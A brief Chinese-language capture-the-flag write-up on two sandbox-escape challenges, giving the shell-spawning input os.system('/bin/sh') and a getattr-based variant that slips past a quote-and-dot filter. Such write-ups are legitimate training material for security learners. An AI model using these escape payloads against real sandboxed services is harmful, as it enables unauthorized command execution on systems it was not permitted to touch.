有关沙盒逃逸的两道题目
1.BCTF-2017 Monkey
拿到题目给了一个js文件,是一个模拟终端的程序。输入os.system(’/bin/sh’),即可拿到shell.
2.CUIT-2017
这题就没上一题那么容易。
输入os.system(’/bin/sh’)函数被检测出,应该是启用了字符串过滤
''和.都被过滤,但是system没有过滤,此时我们可以使用getattr 来进行getshell
getattr() 函数用于返回一个对象属性值。语法:getattr(object, name[, default])
输入命令getattr(os,“system”)("/bin/sh")即可拿到shell